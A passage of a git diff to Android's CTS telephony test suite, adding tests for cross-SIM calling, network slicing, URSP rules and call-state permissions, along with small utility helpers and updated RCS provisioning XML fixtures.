+        assertEquals(mmsAlwaysAllowed,
+                ShellIdentityUtils.invokeMethodWithShellPermissions(
+                        mTelephonyManager, getPolicyHelper));
+    }
+
+    @Test
     public void testGetCdmaEnhancedRoamingIndicatorDisplayNumber() {
         int index = mTelephonyManager.getCdmaEnhancedRoamingIndicatorDisplayNumber();
         int phoneType = mTelephonyManager.getPhoneType();
@@ -3826,11 +4068,11 @@
                                     .setDataThrottlingRequest(new DataThrottlingRequest.Builder()
                                             .setDataThrottlingAction(
                                                     DataThrottlingRequest
-                                                            .DATA_THROTTLING_ACTION_THROTTLE_PRIMARY_CARRIER
+                                                    .DATA_THROTTLING_ACTION_THROTTLE_PRIMARY_CARRIER
                                             )
                                             .setCompletionDurationMillis(-1)
                                             .build())
-                                    .build()));
+                            .build()));
         } catch (IllegalArgumentException e) {
         }
 
@@ -3848,7 +4090,7 @@
                                             )
                                             .setCompletionDurationMillis(-1)
                                             .build())
-                                    .build()));
+                            .build()));
         } catch (IllegalArgumentException e) {
         }
     }
@@ -4064,6 +4306,7 @@
                 mTelephonyManager, (tm) -> {
                     List<UiccCardInfo> cardInfos = mTelephonyManager.getUiccCardsInfo();
                     Set<String> presentCards = Arrays.stream(mTelephonyManager.getUiccSlotsInfo())
+                            .filter(Objects::nonNull)
                             .filter(UiccSlotInfo::getIsActive)
                             .map(UiccSlotInfo::getCardId)
                             .filter(Objects::nonNull)
@@ -4219,7 +4462,7 @@
 
         synchronized (mLock) {
             t.start();
-            mLock.wait(TOLERANCE); // wait for mListener
+            mLock.wait(TOLERANCE); // wait for listener
         }
 
         // Test register
@@ -4236,7 +4479,7 @@
             mOnCellInfoChanged = false;
 
             CellInfoResultsCallback resultsCallback = new CellInfoResultsCallback();
-            mTelephonyManager.requestCellInfoUpdate(getContext().getMainExecutor(), resultsCallback);
+            mTelephonyManager.requestCellInfoUpdate(mSimpleExecutor, resultsCallback);
             mLock.wait(TOLERANCE);
 
             assertTrue("Test register, mOnCellLocationChangedCalled should be true.",
@@ -4275,5 +4518,26 @@
             }
         }
     }
+
+    private void setAppOpsPermissionAllowed(boolean allowed, String op) {
+        AppOpsManager appOpsManager = getContext().getSystemService(AppOpsManager.class);
+        int mode = allowed ? AppOpsManager.MODE_ALLOWED : AppOpsManager.opToDefaultMode(op);
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                appOpsManager, (appOps) -> appOps.setUidMode(op, Process.myUid(), mode));
+    }
+
+    /**
+     * Verifies that {@link TelephonyManager#getNetworkSlicingConfiguration()} does not throw any
+     * exception
+     */
+    @Test
+    public void testGetNetworkSlicingConfiguration() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        CompletableFuture<NetworkSlicingConfig> resultFuture = new CompletableFuture<>();
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                (tm) -> tm.getNetworkSlicingConfiguration(mSimpleExecutor, resultFuture::complete));
+    }
 }
 
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
index 313dd8b..13dcf7c 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
@@ -18,16 +18,25 @@
 
 import android.app.Instrumentation;
 import android.os.ParcelFileDescriptor;
+import android.telecom.TelecomManager;
 import android.telephony.TelephonyManager;
 
 import java.io.BufferedReader;
 import java.io.FileInputStream;
 import java.io.InputStream;
 import java.io.InputStreamReader;
+import java.lang.reflect.Field;
 import java.nio.charset.StandardCharsets;
 import java.util.function.BooleanSupplier;
 
 public class TelephonyUtils {
+
+    /**
+     * See {@link TelecomManager#ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION}
+     */
+    public static final String ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION_STRING =
+            "ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION";
+
     private static final String COMMAND_ADD_TEST_EMERGENCY_NUMBER =
             "cmd phone emergency-number-test-mode -a ";
 
@@ -39,6 +48,14 @@
     private static final String COMMAND_FLUSH_TELEPHONY_METRICS =
             "/system/bin/dumpsys activity service TelephonyDebugService --metricsproto";
 
+    private static final String COMMAND_AM_COMPAT = "am compat ";
+
+    public static final String CTS_APP_PACKAGE = "android.telephony.cts";
+    public static final String CTS_APP_PACKAGE2 = "android.telephony2.cts";
+
+    private static final char[] HEX_DIGITS = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
+            'A', 'B', 'C', 'D', 'E', 'F' };
+
     public static void addTestEmergencyNumber(Instrumentation instr, String testNumber)
             throws Exception {
         executeShellCommand(instr, COMMAND_ADD_TEST_EMERGENCY_NUMBER + testNumber);
@@ -57,6 +74,24 @@
         executeShellCommand(instr, COMMAND_FLUSH_TELEPHONY_METRICS);
     }
 
+    public static void enableCompatCommand(Instrumentation instr, String pkgName,
+            String commandName) throws Exception {
+        executeShellCommand(instr, COMMAND_AM_COMPAT + "enable  --no-kill " + commandName + " "
+                + pkgName);
+    }
+
+    public static void disableCompatCommand(Instrumentation instr, String pkgName,
+            String commandName) throws Exception {
+        executeShellCommand(instr, COMMAND_AM_COMPAT + "disable  --no-kill " + commandName + " "
+                + pkgName);
+    }
+
+    public static void resetCompatCommand(Instrumentation instr, String pkgName,
+            String commandName) throws Exception {
+        executeShellCommand(instr, COMMAND_AM_COMPAT + "reset  --no-kill " + commandName + " "
+                + pkgName);
+    }
+
     public static boolean isSkt(TelephonyManager telephonyManager) {
         return isOperator(telephonyManager, "45005");
     }
@@ -72,6 +107,25 @@
         return simOperator != null && simOperator.equals(operator);
     }
 
+    public static String parseErrorCodeToString(int errorCode,
+            Class<?> containingClass, String prefix) {
+        for (Field field : containingClass.getDeclaredFields()) {
+            if (field.getName().startsWith(prefix)) {
+                if (field.getType() == Integer.TYPE) {
+                    field.setAccessible(true);
+                    try {
+                        if (field.getInt(null) == errorCode) {
+                            return field.getName();
+                        }
+                    } catch (IllegalAccessException e) {
+                        continue;
+                    }
+                }
+            }
+        }
+        return String.format("??%d??", errorCode);
+    }
+
     /**
      * Executes the given shell command and returns the output in a string. Note that even
      * if we don't care about the output, we have to read the stream completely to make the
@@ -109,7 +163,6 @@
         }
     }
 
-
     public static boolean pollUntilTrue(BooleanSupplier s, int times, int timeoutMs) {
         boolean successful = false;
         for (int i = 0; i < times; i++) {
@@ -121,4 +174,37 @@
         }
         return successful;
     }
+
+    public static String toHexString(byte[] array) {
+        int length = array.length;
+        char[] buf = new char[length * 2];
+
+        int bufIndex = 0;
+        for (byte b : array) {
+            buf[bufIndex++] = HEX_DIGITS[(b >>> 4) & 0x0F];
+            buf[bufIndex++] = HEX_DIGITS[b & 0x0F];
+        }
+
+        return new String(buf);
+    }
+
+    private static int toByte(char c) {
+        if (c >= '0' && c <= '9') return (c - '0');
+        if (c >= 'A' && c <= 'F') return (c - 'A' + 10);
+        if (c >= 'a' && c <= 'f') return (c - 'a' + 10);
+
+        throw new RuntimeException("Invalid hex char '" + c + "'");
+    }
+
+    public static byte[] hexStringToByteArray(String hexString) {
+        int length = hexString.length();
+        byte[] buffer = new byte[length / 2];
+
+        for (int i = 0; i < length; i += 2) {
+            buffer[i / 2] =
+                    (byte) ((toByte(hexString.charAt(i)) << 4) | toByte(hexString.charAt(i + 1)));
+        }
+
+        return buffer;
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TrafficDescriptorTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TrafficDescriptorTest.java
index 5ab27d6..c7751f3 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TrafficDescriptorTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TrafficDescriptorTest.java
@@ -25,12 +25,12 @@
 
 public class TrafficDescriptorTest {
     private static final String DNN = "DNN";
-    private static final String OS_APP_ID = "OS_APP_ID";
+    private static final byte[] OS_APP_ID = {1, 2, 3, 4};
 
     @Test
     public void testConstructorAndGetters() {
         TrafficDescriptor td = new TrafficDescriptor(DNN, OS_APP_ID);
-        assertThat(td.getDnn()).isEqualTo(DNN);
+        assertThat(td.getDataNetworkName()).isEqualTo(DNN);
         assertThat(td.getOsAppId()).isEqualTo(OS_APP_ID);
     }
 
@@ -44,7 +44,8 @@
     @Test
     public void testNotEquals() {
         TrafficDescriptor td = new TrafficDescriptor(DNN, OS_APP_ID);
-        TrafficDescriptor notEqualsTd = new TrafficDescriptor("NOT_DNN", "NOT_OS_APP_ID");
+        byte[] notOsAppId = {5, 6, 7, 8};
+        TrafficDescriptor notEqualsTd = new TrafficDescriptor("NOT_DNN", notOsAppId);
         assertThat(td).isNotEqualTo(notEqualsTd);
         assertThat(td).isNotEqualTo(null);
     }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/UrspRuleTest.java b/tests/tests/telephony/current/src/android/telephony/cts/UrspRuleTest.java
new file mode 100644
index 0000000..919fe82
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/UrspRuleTest.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.hardware.radio.V1_6.RouteSelectionDescriptor;
+import android.hardware.radio.V1_6.TrafficDescriptor;
+import android.telephony.data.UrspRule;
+
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class UrspRuleTest {
+    private static final int TEST_PRECEDENCE = 1;
+
+    @Test
+    public void testConstructorAndGetters() {
+        List<TrafficDescriptor> tds = new ArrayList<TrafficDescriptor>();
+        List<RouteSelectionDescriptor> rsds = new ArrayList<RouteSelectionDescriptor>();
+        UrspRule ur = new UrspRule(TEST_PRECEDENCE, tds, rsds);
+        assertThat(ur.getPrecedence()).isEqualTo(TEST_PRECEDENCE);
+        assertThat(ur.getTrafficDescriptors()).isNotEqualTo(null);
+        assertThat(ur.getRouteSelectionDescriptor()).isNotEqualTo(null);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
index 80cfc02..eae33de 100644
--- a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccManagerTest.java
@@ -481,7 +481,7 @@
     private PendingIntent createCallbackIntent(String action) {
         Intent intent = new Intent(action);
         return PendingIntent.getBroadcast(
-                getContext(), REQUEST_CODE, intent, PendingIntent.FLAG_UPDATE_CURRENT);
+                getContext(), REQUEST_CODE, intent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     private static class CallbackReceiver extends BroadcastReceiver {
diff --git a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java
index 67b5116..c6f9ba7 100644
--- a/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java
+++ b/tests/tests/telephony/current/src/android/telephony/euicc/cts/EuiccTestResolutionActivity.java
@@ -74,7 +74,7 @@
                         getApplicationContext(),
                         0 /* requestCode */,
                         resolutionActivityIntent,
-                        PendingIntent.FLAG_ONE_SHOT);
+                        PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         // add pending intent to extra
         Intent resultIntent = new Intent();
@@ -93,7 +93,7 @@
     private PendingIntent createCallbackIntent(String action) {
         Intent intent = new Intent(action);
         return PendingIntent.getBroadcast(
-                getApplicationContext(), REQUEST_CODE, intent, PendingIntent.FLAG_UPDATE_CURRENT);
+                getApplicationContext(), REQUEST_CODE, intent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     private void sendCallbackAndFinish(int resultCode) {
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/EabControllerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/EabControllerTest.java
index 5e0bcb0..83edcba 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/EabControllerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/EabControllerTest.java
@@ -383,7 +383,7 @@
                     "android.permission.ACCESS_RCS_USER_CAPABILITY_EXCHANGE");
         } catch (SecurityException e) {
             fail("requestCapabilities should succeed with ACCESS_RCS_USER_CAPABILITY_EXCHANGE."
-                    + e);
+                 + e);
         } catch (ImsException e) {
             fail("requestCapabilities failed " + e);
         }
@@ -405,7 +405,7 @@
                     "android.permission.ACCESS_RCS_USER_CAPABILITY_EXCHANGE");
         } catch (SecurityException e) {
             fail("requestCapabilities should succeed with ACCESS_RCS_USER_CAPABILITY_EXCHANGE."
-                    + e);
+                 + e);
         } catch (ImsException e) {
             fail("requestCapabilities failed " + e);
         }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
index a965d7b..c707d0e 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
@@ -261,6 +261,51 @@
     }
 
     /**
+     * Set the cross SIM setting and ensure it is queried successfully.
+     * Also ensure the ContentObserver is triggered properly.
+     */
+    @Test
+    public void testCrossSIMSetting() throws Exception {
+        PersistableBundle bundle = new PersistableBundle();
+        // Do not worry about provisioning for this test
+        bundle.putBoolean(KEY_CARRIER_VOLTE_OVERRIDE_WFC_PROVISIONING_BOOL, false);
+        bundle.putBoolean(CarrierConfigManager.KEY_CARRIER_VOLTE_PROVISIONING_REQUIRED_BOOL, false);
+        overrideCarrierConfig(bundle);
+        // Register Observer
+        Uri callingUri = Uri.withAppendedPath(
+                SubscriptionManager.CROSS_SIM_ENABLED_CONTENT_URI, "" + sTestSub);
+        CountDownLatch contentObservedLatch = new CountDownLatch(1);
+        ContentObserver observer = createObserver(callingUri, contentObservedLatch);
+
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        ImsMmTelManager mMmTelManager = imsManager.getImsMmTelManager(sTestSub);
+
+        boolean isEnabled = ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+                mMmTelManager, ImsMmTelManager::isCrossSimCallingEnabled, ImsException.class,
+                "android.permission.READ_PRIVILEGED_PHONE_STATE");
+        ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(mMmTelManager,
+                (m) -> m.setCrossSimCallingEnabled(!isEnabled),  ImsException.class,
+                "android.permission.MODIFY_PHONE_STATE");
+
+        waitForLatch(contentObservedLatch, observer);
+        boolean isEnabledResult = ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+                mMmTelManager,
+                ImsMmTelManager::isCrossSimCallingEnabled,
+                ImsException.class,
+                "android.permission.READ_PRIVILEGED_PHONE_STATE");
+        assertEquals("isCrossSimCallingEnabled did not match"
+                        + "value set by setCrossSimCallingEnabled",
+                !isEnabled, isEnabledResult);
+
+        // Set back to default
+        ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(mMmTelManager,
+                (m) -> m.setCrossSimCallingEnabled(isEnabled),
+                ImsException.class,
+                "android.permission.MODIFY_PHONE_STATE");
+        overrideCarrierConfig(null);
+    }
+
+    /**
      * Set the VoWiFi roaming setting and ensure it is queried successfully. Also ensure the
      * ContentObserver is triggered properly.
      */
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsRegistrationAttributesTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsRegistrationAttributesTest.java
index 55a8d0c..666c42c 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsRegistrationAttributesTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsRegistrationAttributesTest.java
@@ -40,7 +40,6 @@
         featureTags.add("+g.3gpp.icsi-ref=\"urn%3Aurn-7%3A3gpp-service.ims.icsi.oma.cpm.session\"");
         featureTags.add("+g.gsma.callcomposer");
 
-
         // IWLAN
         ImsRegistrationAttributes attr = new ImsRegistrationAttributes.Builder(
                 ImsRegistrationImplBase.REGISTRATION_TECH_IWLAN).setFeatureTags(featureTags)
@@ -49,6 +48,8 @@
                 attr.getRegistrationTechnology());
         assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WLAN,
                 attr.getTransportType());
+        assertEquals(0, (attr.getAttributeFlags()
+                & ImsRegistrationAttributes.ATTR_EPDG_OVER_CELL_INTERNET));
         assertEquals(featureTags, attr.getFeatureTags());
 
         //LTE
@@ -58,6 +59,21 @@
                 attr.getRegistrationTechnology());
         assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WWAN,
                 attr.getTransportType());
+        assertEquals(0, (attr.getAttributeFlags()
+                & ImsRegistrationAttributes.ATTR_EPDG_OVER_CELL_INTERNET));
+        assertNotNull(attr.getFeatureTags());
+        assertEquals(0, attr.getFeatureTags().size());
+
+        // cross sim
+        attr = new ImsRegistrationAttributes.Builder(
+                ImsRegistrationImplBase.REGISTRATION_TECH_CROSS_SIM).build();
+        assertEquals(ImsRegistrationImplBase.REGISTRATION_TECH_CROSS_SIM,
+                attr.getRegistrationTechnology());
+        assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WLAN,
+                attr.getTransportType());
+        assertEquals(ImsRegistrationAttributes.ATTR_EPDG_OVER_CELL_INTERNET,
+                (attr.getAttributeFlags()
+                        & ImsRegistrationAttributes.ATTR_EPDG_OVER_CELL_INTERNET));
         assertNotNull(attr.getFeatureTags());
         assertEquals(0, attr.getFeatureTags().size());
     }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
index 5033837..f5f9804 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
@@ -110,28 +110,57 @@
     private static final int TEST_CONFIG_VALUE_INT = 0xDEADBEEF;
     private static final String TEST_CONFIG_VALUE_STRING = "DEADBEEF";
 
-    private static final String TEST_RCS_CONFIG_DEFAULT = "<RCSConfig>\n"
-            + "\t<rcsVolteSingleRegistration>1</rcsVolteSingleRegistration>\n"
-            + "\t<SERVICES>\n"
-            + "\t\t<SupportedRCSProfileVersions>UP_2.0</SupportedRCSProfileVersions>\n"
-            + "\t\t<ChatAuth>1</ChatAuth>\n"
-            + "\t\t<GroupChatAuth>1</GroupChatAuth>\n"
-            + "\t\t<ftAuth>1</ftAuth>\n"
-            + "\t\t<standaloneMsgAuth>1</standaloneMsgAuth>\n"
-            + "\t\t<geolocPushAuth>1</geolocPushAuth>\n"
-            + "\t\t<Ext>\n"
-            + "\t\t\t<DataOff>\n"
-            + "\t\t\t\t<rcsMessagingDataOff>1</rcsMessagingDataOff>\n"
-            + "\t\t\t\t<fileTransferDataOff>1</fileTransferDataOff>\n"
-            + "\t\t\t\t<mmsDataOff>1</mmsDataOff>\n"
-            + "\t\t\t\t<syncDataOff>1</syncDataOff>\n"
-            + "\t\t\t</DataOff>\n"
-            + "\t\t</Ext>\n"
-            + "\t</SERVICES>\n"
-            + "</RCSConfig>";
-    private static final String TEST_RCS_CONFIG_SINGLE_REGISTRATION_DISABLED = "<RCSConfig>\n"
-            + "\t<rcsVolteSingleRegistration>0</rcsVolteSingleRegistration>\n"
-            + "</RCSConfig>";
+    private static final String TEST_RCS_CONFIG_DEFAULT = "<?xml version=\"1.0\"?>\n"
+            + "<wap-provisioningdoc version=\"1.1\">\n"
+            + "\t<characteristic type=\"APPLICATION\">\n"
+            + "\t\t<parm name=\"AppID\" value=\"urn:oma:mo:ext-3gpp-ims:1.0\"/>\n"
+            + "\t\t<characteristic type=\"3GPP_IMS\">\n"
+            + "\t\t\t<parm name=\"AppID\" value=\"ap2001\"/>\n"
+            + "\t\t\t<parm name=\"Name\" value=\"RCS IMS Settings\"/>\n"
+            + "\t\t\t<characteristic type=\"Ext\">\n"
+            + "\t\t\t\t<characteristic type=\"GSMA\">\n"
+            + "\t\t\t\t\t<parm name=\"AppRef\" value=\"IMS-Setting\"/>\n"
+            + "\t\t\t\t\t<parm name=\"rcsVolteSingleRegistration\" value=\"1\"/>\n"
+            + "\t\t\t\t</characteristic>\n"
+            + "\t\t\t</characteristic>\n"
+            + "\t\t</characteristic>\n"
+            + "\t\t<characteristic type=\"SERVICES\">\n"
+            + "\t\t\t<parm name=\"SupportedRCSProfileVersions\" value=\"UP2.3\"/>\n"
+            + "\t\t\t<parm name=\"ChatAuth\" value=\"1\"/>\n"
+            + "\t\t\t<parm name=\"GroupChatAuth\" value=\"1\"/>\n"
+            + "\t\t\t<parm name=\"ftAuth\" value=\"1\"/>\n"
+            + "\t\t\t<parm name=\"standaloneMsgAuth\" value=\"1\"/>\n"
+            + "\t\t\t<parm name=\"geolocPushAuth\" value=\"1\"/>\n"
+            + "\t\t\t<characteristic type=\"Ext\">\n"
+            + "\t\t\t\t<characteristic type=\"DataOff\">\n"
+            + "\t\t\t\t\t<parm name=\"rcsMessagingDataOff\" value=\"1\"/>\n"
+            + "\t\t\t\t\t<parm name=\"fileTransferDataOff\" value=\"1\"/>\n"
+            + "\t\t\t\t\t<parm name=\"mmsDataOff\" value=\"1\"/>\n"
+            + "\t\t\t\t\t<parm name=\"syncDataOff\" value=\"1\"/>\n"
+            + "\t\t\t\t\t<characteristic type=\"Ext\"/>\n"
+            + "\t\t\t\t</characteristic>\n"
+            + "\t\t\t</characteristic>\n"
+            + "\t\t</characteristic>\n"
+            + "\t</characteristic>\n"
+            + "</wap-provisioningdoc>\n";
+
+    private static final String TEST_RCS_CONFIG_SINGLE_REGISTRATION_DISABLED =
+            "<?xml version=\"1.0\"?>\n"
+            + "<wap-provisioningdoc version=\"1.1\">\n"
+            + "\t<characteristic type=\"APPLICATION\">\n"
+            + "\t\t<parm name=\"AppID\" value=\"urn:oma:mo:ext-3gpp-ims:1.0\"/>\n"
+            + "\t\t<characteristic type=\"3GPP_IMS\">\n"
+            + "\t\t\t<parm name=\"AppID\" value=\"ap2001\"/>\n"
+            + "\t\t\t<parm name=\"Name\" value=\"RCS IMS Settings\"/>\n"
+            + "\t\t\t<characteristic type=\"Ext\">\n"
+            + "\t\t\t\t<characteristic type=\"GSMA\">\n"
+            + "\t\t\t\t\t<parm name=\"AppRef\" value=\"IMS-Setting\"/>\n"
+            + "\t\t\t\t\t<parm name=\"rcsVolteSingleRegistration\" value=\"0\"/>\n"
+            + "\t\t\t\t</characteristic>\n"
+            + "\t\t\t</characteristic>\n"
+            + "\t\t</characteristic>\n"
+            + "\t</characteristic>\n"
+            + "</wap-provisioningdoc>\n";
     private static final String TEST_RCS_PRE_CONFIG = "<RCSPreProvisiniongConfig>\n"
             + "\t<VERS>\n"
             + "\t\t<version>1</version>\n"
@@ -895,6 +924,21 @@
         assertEquals(0, attrResult.getAttributeFlags());
         assertEquals(featureTags, attrResult.getFeatureTags());
 
+        // move to cross sim
+        ImsRegistrationAttributes xSimTagsAttr = new ImsRegistrationAttributes.Builder(
+                ImsRegistrationImplBase.REGISTRATION_TECH_CROSS_SIM)
+                .setFeatureTags(featureTags)
+                .build();
+        sServiceConnector.getCarrierService().getImsRegistration().onRegistering(xSimTagsAttr);
+        attrResult = waitForResult(mRegQueue);
+        assertNotNull(attrResult);
+        assertEquals(ImsRegistrationImplBase.REGISTRATION_TECH_CROSS_SIM,
+                attrResult.getRegistrationTechnology());
+        assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WLAN, attrResult.getTransportType());
+        assertEquals(ImsRegistrationAttributes.ATTR_EPDG_OVER_CELL_INTERNET,
+                attrResult.getAttributeFlags());
+        assertEquals(featureTags, attrResult.getFeatureTags());
+
         // Complete registration
         sServiceConnector.getCarrierService().getImsRegistration().onRegistered(lteTagsAttr);
         attrResult = waitForResult(mRegQueue);
@@ -905,6 +949,17 @@
         assertEquals(0, attrResult.getAttributeFlags());
         assertEquals(featureTags, attrResult.getFeatureTags());
 
+        // move to cross sim
+        sServiceConnector.getCarrierService().getImsRegistration().onRegistered(xSimTagsAttr);
+        attrResult = waitForResult(mRegQueue);
+        assertNotNull(attrResult);
+        assertEquals(ImsRegistrationImplBase.REGISTRATION_TECH_CROSS_SIM,
+                attrResult.getRegistrationTechnology());
+        assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WLAN, attrResult.getTransportType());
+        assertEquals(ImsRegistrationAttributes.ATTR_EPDG_OVER_CELL_INTERNET,
+                attrResult.getAttributeFlags());
+        assertEquals(featureTags, attrResult.getFeatureTags());
+
         try {
             automan.adoptShellPermissionIdentity();
             ImsManager imsManager = getContext().getSystemService(ImsManager.class);
@@ -2746,7 +2801,7 @@
                 buildRcsProvisioningCallback(clientQueue, paramsQueue);
         ProvisioningManager provisioningManager =
                 ProvisioningManager.createForSubscriptionId(sTestSub);
-        String configStr = "<test01/>\n" + TEST_RCS_CONFIG_DEFAULT;
+        String configStr = TEST_RCS_CONFIG_DEFAULT;
 
         //notify rcs configuration received, wait rcs gets ready and receives notification
         try {
@@ -2776,7 +2831,7 @@
         assertTrue(Arrays.equals(
                 configStr.getBytes(), TestAcsClient.getInstance().getConfig()));
 
-        configStr = "<test02/>\n" + TEST_RCS_CONFIG_DEFAULT;
+        configStr = TEST_RCS_CONFIG_SINGLE_REGISTRATION_DISABLED;
         try {
             automan.adoptShellPermissionIdentity();
             provisioningManager.notifyRcsAutoConfigurationReceived(
diff --git a/tests/tests/telephony/sdk28/TEST_MAPPING b/tests/tests/telephony/sdk28/TEST_MAPPING
new file mode 100644
index 0000000..141ee9e
--- /dev/null
+++ b/tests/tests/telephony/sdk28/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsTelephonySdk28TestCases"
+    }
+  ]
+}
diff --git a/tests/tests/telephony2/Android.bp b/tests/tests/telephony2/Android.bp
index 0765992..450803f 100644
--- a/tests/tests/telephony2/Android.bp
+++ b/tests/tests/telephony2/Android.bp
@@ -23,7 +23,10 @@
         "ctstestrunner-axt",
         "compatibility-device-util-axt",
     ],
-    srcs: ["src/**/*.java"],
+    srcs: [
+      "src/**/*.java",
+      ":cts-telephony-utils"
+    ],
     sdk_version: "test_current",
     // Tag this module as a cts test artifact
     test_suites: [
@@ -34,4 +37,4 @@
         "android.test.runner",
         "android.test.base",
     ],
-}
+}
\ No newline at end of file
diff --git a/tests/tests/telephony2/TEST_MAPPING b/tests/tests/telephony2/TEST_MAPPING
new file mode 100644
index 0000000..0407667
--- /dev/null
+++ b/tests/tests/telephony2/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsTelephony2TestCases"
+    }
+  ]
+}
diff --git a/tests/tests/telephony2/src/android/telephony2/cts/CallStateListenerPermissionTest.java b/tests/tests/telephony2/src/android/telephony2/cts/CallStateListenerPermissionTest.java
new file mode 100644
index 0000000..8a930ce
--- /dev/null
+++ b/tests/tests/telephony2/src/android/telephony2/cts/CallStateListenerPermissionTest.java
@@ -0,0 +1,152 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony2.cts;
+
+import static android.content.pm.PackageManager.FEATURE_TELEPHONY;
+
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.telephony.PhoneStateListener;
+import android.telephony.TelephonyCallback;
+import android.telephony.TelephonyManager;
+import android.telephony.cts.TelephonyUtils;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class CallStateListenerPermissionTest {
+    private Context mContext;
+    private CountDownLatch mCallStateReceivedLatch = new CountDownLatch(1);
+
+    private boolean mReceivedCallback = false;
+    private Executor mSimpleExecutor = r -> r.run();
+
+    private class MyTelephonyCallback extends TelephonyCallback
+            implements TelephonyCallback.CallStateListener {
+
+        @Override
+        public void onCallStateChanged(int state) {
+            mReceivedCallback = true;
+            mCallStateReceivedLatch.countDown();
+        }
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getContext();
+    }
+
+    /**
